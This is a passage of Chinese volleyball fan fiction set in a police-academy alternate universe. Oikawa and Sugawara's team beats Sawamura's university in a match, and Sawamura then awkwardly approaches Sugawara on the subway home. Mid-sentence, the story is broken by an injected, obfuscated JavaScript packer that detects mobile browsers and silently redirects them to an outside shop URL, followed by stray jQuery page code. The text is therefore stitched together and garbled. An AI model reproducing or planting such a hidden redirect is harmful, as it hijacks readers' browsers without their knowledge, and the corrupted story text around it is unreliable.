大学里的排球队可要比初高中小打小闹的业余社团专业多了，更别提警校排球队一直以体能彪悍、进攻强劲闻名于宫城县的各大高校。因此，每年县里搞大学排球联赛，拼进决赛的都有警察学院和公安大学。


    两支队伍看似宿敌，实则是早就结了八百次秦晋之好的老亲家。


    且这个亲家即将长久地结下去。


    及川带着看公安大学前几年的比赛录像，菅原一边看一边打瞌睡。他最近被导员派了其他的活，白天上了一天的课，晚上训练，回寝室还要加班。连轴转了几天之后，铁人也扛不住。及川拍了拍他的肩膀，菅原惊得抖了一下，搓了把脸，对及川歉意地笑笑。又过了一会，菅原扛不住了，悄悄拍了拍及川，说：“我出门透口气。”


    “你撑不住就先回去吧。”及川拽着他的胳膊，轻声说道。


    菅原摇摇头：“没事，还行。”


    及川伸手把自己的外套递给他：“外面冷，别着凉。”


    菅原毫不见外地套上，起身走了。


    走廊里不出意外地冷，已是深秋，风已经不是很温柔的凉，是很阴险的、直往人骨头缝里钻的寒。他裹紧了外套，走两圈就精神了。隔着修了铁丝网的玻璃窗往排球场上看，及川正全神贯注地看公安大学的一记快球。


    这不是我能反应过来的速度，他默默想着，手自然地揣进了口袋里。


    摸到不属于自己的东西的时候，菅原才反应过来，这不是自己的外套。


    及川是寝室长，所以钥匙环上有两把寝室的钥匙，耳塞是他午睡必备，那这个是什么？


    菅原摸到了一个被叠成小方块的A4纸。


    他对别人的东西一向是缺乏好奇心的，但是他看着油墨印过来的字像是“排球”，他做贼似的左右看了一眼，才背对着窗，偷偷展开。


    也没什么，就是一张县大学联赛的报名表。


    截止日期是后天，菅原暗暗在心里说，他得提醒着点及川别忘了。


    及川倒是没忘报名，但是发生了一件绝顶操蛋的事。联赛分组是摇号进行，警察学院排球队队长兼技侦系系草及川彻同学一发出金，成功分到了A组。也就意味着，小组赛第一场就要和往年决赛场上才会相见的公安大学狭路相逢。


    菅原傻了，队友们傻了，就连表白失败的啦啦队学弟也傻了。


    “及川啊，”以往队里最会调节气氛的菅原都不知道如何安慰大家了，“你可真会给学校省经费。”


    菅原拍了拍他的肩，一个及川大王轻轻地碎掉了。


    泽村也没想到这么早就会见到警察学院的各位。


    在某种意义上，他和及川达成了一次非常微妙的双向奔赴。他们是老对手，每年隔着球网握手，都要握出一眼万年的架势。


    虽然县里的公安大学和警察学院在业界风评旗鼓相当，但是就像安卓苹果互不兼容，凑到一起总是不对付。公安大学的嫌弃警察学院的基本功不扎实，警察学院的嫌弃公安大学的过于呆板不懂变通。久而久之，一说是县里警校出身，不用开口，看气质就知道是哪家出品。


    在及川看来，泽村就是公安大学校训的集大成者，严肃到没边，十分缺乏人文气息。


    泽村也看不上及川满身的浪荡子气息。在他眼中，及川就像课本里那些满脑子奇葩想法的连环杀手，在剧场里杀人碎尸，还要掐着花瓣飘落的时间点和所有观众展示自己的劳动成果——华丽且变态。


    但是他对菅原的印象格外好，认为他是警察学院里难得出淤泥而不染的一朵小白花。他们之前的联系仅限于排球训练场和赛场，作为大三的老球员，他却经常做一些坐冷板凳的新球员才会做的小事。比如擦球、接水和拖地。


    而且警察学院的首发二传不是他，是及川。


    人都有怜悯弱者的天性，在菅原不上场的时候，泽村默默给人安了一个被能力超群的队长打压，又被个人情感绑架不忍心退队的可怜剧本。


    即使这个“弱者”只是看上去很弱。


    小组赛第一场，公安大学vs警察学院。


    一时万人空巷，把县里的体育场围得是水泄不通。这一次公安大学来了两个格外难缠的快攻组合，一连几次突破对面的防守，轻松得分。菅原坐在场下，紧锁着眉头，格外焦灼。暂停哨音一响，警察学院申请换人。


    场内安静了一瞬，所有人的目光都在被换上的灰发青年身上。


    他和及川是完全不同的人，泽村守好自己的位置，默默想。二传是非常关键的位置，它决定着整支队伍的气质、节奏和调度。如果说及川在的队伍是一架玫瑰大炮的话，那换上菅原的队伍就像蒲公英。


    轻松而充满活力。


    但一不留神吸入，也是能憋死人的。


    泽村一连丢了几个球之后，发现对面唯一一朵小白花也是白切黑。发球格外会掐位置，会利用自己的身高引诱进攻，甚至还有在队里专门的手势暗号。


    一场比赛打下来，菅原上场的时间不足十分钟，但轻轻松松拿下赛点，扳回一城，双方进入了漫长的拉锯加时赛。警校学生对于任何其他学校的队员来说，体力都是碾压级的，但是两个旗鼓相当的队伍，最后只会沦落到大家都像落水狗一样。


    泽村抹了一把淌到下巴上的汗，余光看到了场外的菅原。


    他依旧是坐在场边的椅子上，紧抿着唇，死盯着自家队长的发球。


    及川托着球的手举起，却又偏头看向候场区，菅原注意到他，站起来对他喊：“专心点，最后一分！”


    直到裁判提醒发球的哨声吹过，那颗球雷霆万钧般呼啸而来，瞄准了界线而去。


    泽村愣神了，手臂虚虚地在空中捞了一把，一无所获。


    真就是，最后一分。


    21:19，把牙根咬出血的比分。


    最终警察学院以大比分3:2成功让公安大学喜提一轮游。


    及川冲过去一把抱住菅原，一连转了好几个圈。菅原被勒得眼前发昏，还不忘开心地傻乐。两队握手的时候，菅原站在一群大汗淋漓的正选球员里显得格外显眼，就那么干干净净地站在及川身后，笑得爽朗又温和。


    泽村趁着握手的空档，把人一把拽到身边，隔着拦网说：“离场的时候麻烦等我一下。”


    他的手心好热，握着菅原微凉的手指像是块烙铁。


    “哦、哦，好的。”菅原不明所以地应下来。及川转过头挑挑眉，示意怎么了，菅原安抚般地弯着眼睛摇摇头。


    他觉得公安大学的活招牌应该不会把自己骗出去杀人灭口。


    其实泽村把话说出口的下一秒就后悔了，他上次见到这种台词还是在那种无脑偶像剧里。


    他对菅原只是单纯比较好奇——人们对好人总是忍不住亲近一些。


    体育场离两个大学都有点距离，他们脱离了大部队，自己坐地铁回去。他们身上还带着体育场所里常见消毒剂的味道，走在人群里，显然暧昧又特别。


    “那个……您找我有什么事吗？”菅原开门见山，他对这种气氛不太


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119719|149845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    习惯。这也不能完全怪他，也和泽村这个人有关，他太正派了，和他走在一起别人总觉得自己要准备洽谈国家大事。


    泽村的手指扣着背包带，呃呃啊啊地说不清楚：“就是、想问问你……你们队平时训练一周几次？”


    如果及川在这，他一定会龇牙咧嘴地不忍卒听。


    拜托，哥们，你这什么情况？


    泽村说完也觉得自己非常莫名其妙，低下头不敢看菅原的表情。菅原看着身边垂着头的排球队长，从这个角度还能看到青年深棕色的发旋和脸颊上鼓起来的软肉。他好脾气地回答：“一周三次吧，如果有比赛会加训。”


    “那、你们寒假要不要和我们一起集训？”泽村半抬起头，十分诚恳地问。迎着夕阳，菅原发现对方的眼睛是类似枫糖浆一样的颜色。还怪好看的，菅原神游象外地想着，嘴里说的是：“那我得回去和老师，还有队长商量，”他眯着眼睛笑了笑，“我说了不算的。”


    想想也是，菅原虽然背号靠前，也管理一些队内的事务，但到底不能做主。


    这一波纯属是公安大学的队长临时起意，即兴发挥。


    但事的确是有这么个事。原先只是公安大学内部的集训，不过排球队长这回嘴比脑子快，反应过来的时候后悔不迭。但转念又想，组织一场友谊赛还是非常可行的。


    队长要是连这都做不了主，那就太完蛋了。


    泽村第一次因为自己的队长身份而窃喜。


    于是两人的话题就成了共同吐槽不在场的及川。


    一会说及川场外的粉丝太多，每次发球的尖叫堪比消防警铃；一会说你们学校食堂真好，能养出来及川这种怪力二传。菅原听着就笑，趁着地铁关门前，把泽村一把拉上了车。


    赶上了晚高峰，通往大学城的地铁格外拥挤。


    他们面对面站着，泽村一偏头，嘴唇正好擦过菅原的侧脸。


    他感觉自己的耳朵呼啦一下烫得要命。


    菅原还没什么感觉，还伸着脑袋数还有几站下车。


    “忍一忍，还有三站咱们就换乘了。”菅原笑起来的时候，眼尾的那颗痣会被牵动着向上，印在泽村的眼睛里。


    这太暧昧了，母胎单身的绩优生大脑宕机。


    好容易从沙丁鱼罐头一样的地铁上下来，泽村大大地深呼吸。


    “你就是为了集训的事找我啊，”换乘站人格外多，说话都得喊着说，“那你为什么不直接找及川啊？”


    泽村目光不敢往菅原那边看：“他太麻烦了，一件事要说好半天。”


    菅原想了想及川的贵族做派，谈正事之前总要有个漫长的寒暄前摇，了然地笑着点点头。


    很给对方留面子地没再继续这个话题。


    警察学院和公安大学是两个方向，他们就此分道扬镳。


    菅原隔着地铁的门玻璃和泽村挥手告别，看了一眼时间，发现还早，于是决定去校外吃点东西再回去。


    他不是个傻子，就算是毫无恋爱经验的愣头青也知道泽村是什么意思。


    这趟地铁人格外少，他找了个靠门的座位坐下，拉上了外套的拉锁。


    他还是那句话，他不相信日久生情。他仍旧对天崩地裂式的爱情抱有期待。


    朝夕相处的及川都没成，突然冒出来的隔壁队长又能有什么机会呢？


    况且他的确暂时没有和男人谈恋爱的打算。


    不过平心而论，泽村确实很真诚——这很难得。


    故作老成的菅原同学下定结论。